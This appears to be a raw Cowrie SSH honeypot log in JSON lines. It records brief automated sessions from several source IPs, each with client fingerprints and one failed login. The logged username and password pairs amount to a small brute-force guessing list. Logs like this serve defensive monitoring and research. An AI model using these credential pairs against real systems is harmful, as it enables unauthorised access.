{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":49882,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d0c4a49fb2f","protocol":"ssh","message":"New connection: 172.190.89.127:49882 (159.203.135.109:22) [session: 4d0c4a49fb2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:21:10.273374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:21:10.277254Z","src_ip":"172.190.89.127","session":"4d0c4a49fb2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:21:10.287408Z","src_ip":"172.190.89.127","session":"4d0c4a49fb2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"Omm123","message":"login attempt [omm/Omm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:21:10.362766Z","src_ip":"172.190.89.127","session":"4d0c4a49fb2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:21:11.376918Z","src_ip":"172.190.89.127","session":"4d0c4a49fb2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":57691,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f15a5d4e0bc","protocol":"ssh","message":"New connection: 154.125.147.88:57691 (10.17.0.5:22) [session: 5f15a5d4e0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:21:21.877945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:21:21.882641Z","src_ip":"154.125.147.88","session":"5f15a5d4e0bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:21:22.138155Z","src_ip":"154.125.147.88","session":"5f15a5d4e0bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vboxuser","password":"Vboxuser123","message":"login attempt [vboxuser/Vboxuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:21:23.145435Z","src_ip":"154.125.147.88","session":"5f15a5d4e0bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:21:24.396420Z","src_ip":"154.125.147.88","session":"5f15a5d4e0bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.164.113.63","src_port":51488,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb01b50b212b","protocol":"ssh","message":"New connection: 95.164.113.63:51488 (159.203.135.109:22) [session: fb01b50b212b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:08.356808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:08.361401Z","src_ip":"95.164.113.63","session":"fb01b50b212b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:08.475464Z","src_ip":"95.164.113.63","session":"fb01b50b212b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deamon","password":"Deamon123","message":"login attempt [deamon/Deamon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:08.974466Z","src_ip":"95.164.113.63","session":"fb01b50b212b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:10.094313Z","src_ip":"95.164.113.63","session":"fb01b50b212b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":43088,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cf895a10e4d","protocol":"ssh","message":"New connection: 45.134.9.27:43088 (159.203.135.109:22) [session: 5cf895a10e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:18.101387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:18.105063Z","src_ip":"45.134.9.27","session":"5cf895a10e4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:18.177125Z","src_ip":"45.134.9.27","session":"5cf895a10e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ken","password":"123456","message":"login attempt [ken/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:18.485585Z","src_ip":"45.134.9.27","session":"5cf895a10e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:19.557320Z","src_ip":"45.134.9.27","session":"5cf895a10e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.211.56.214","src_port":37808,"dst_ip":"159.203.135.109","dst_port":22,"session":"f56c71f619ea","protocol":"ssh","message":"New connection: 172.211.56.214:37808 (159.203.135.109:22) [session: f56c71f619ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:44.591326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:44.594455Z","src_ip":"172.211.56.214","session":"f56c71f619ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:44.681922Z","src_ip":"172.211.56.214","session":"f56c71f619ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wialon","password":"Wialon123!","message":"login attempt [wialon/Wialon123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:45.084544Z","src_ip":"172.211.56.214","session":"f56c71f619ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:46.180657Z","src_ip":"172.211.56.214","session":"f56c71f619ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.173","src_port":58574,"dst_ip":"159.203.135.109","dst_port":22,"session":"3792f5d060c4","protocol":"ssh","message":"New connection: 182.253.156.173:58574 (159.203.135.109:22) [session: 3792f5d060c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:56.415562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:56.419850Z","src_ip":"182.253.156.173","session":"3792f5d060c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:56.679720Z","src_ip":"182.253.156.173","session":"3792f5d060c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"Omm123","message":"login attempt [omm/Omm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:57.749003Z","src_ip":"182.253.156.173","session":"3792f5d060c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:22:59.014001Z","src_ip":"182.253.156.173","session":"3792f5d060c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":56743,"dst_ip":"10.17.0.5","dst_port":22,"session":"57a42f84599e","protocol":"ssh","message":"New connection: 154.125.147.88:56743 (10.17.0.5:22) [session: 57a42f84599e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:02.602147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:02.607000Z","src_ip":"154.125.147.88","session":"57a42f84599e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:02.831025Z","src_ip":"154.125.147.88","session":"57a42f84599e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zz","password":"zz1234","message":"login attempt [zz/zz1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:03.617445Z","src_ip":"154.125.147.88","session":"57a42f84599e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:04.883071Z","src_ip":"154.125.147.88","session":"57a42f84599e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":59422,"dst_ip":"159.203.135.109","dst_port":22,"session":"17382a788885","protocol":"ssh","message":"New connection: 2.57.122.210:59422 (159.203.135.109:22) [session: 17382a788885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:13.869615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:13.873302Z","src_ip":"2.57.122.210","session":"17382a788885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:13.973072Z","src_ip":"2.57.122.210","session":"17382a788885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:14.272188Z","src_ip":"2.57.122.210","session":"17382a788885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:15.375160Z","src_ip":"2.57.122.210","session":"17382a788885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":57438,"dst_ip":"159.203.135.109","dst_port":22,"session":"13239720896b","protocol":"ssh","message":"New connection: 172.190.89.127:57438 (159.203.135.109:22) [session: 13239720896b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:16.795962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:16.799948Z","src_ip":"172.190.89.127","session":"13239720896b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:16.812457Z","src_ip":"172.190.89.127","session":"13239720896b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ram","password":"ram1234","message":"login attempt [ram/ram1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:23:16.893211Z","src_ip":"172.190.89.127","session":"13239720896b","protocol":"ssh"}
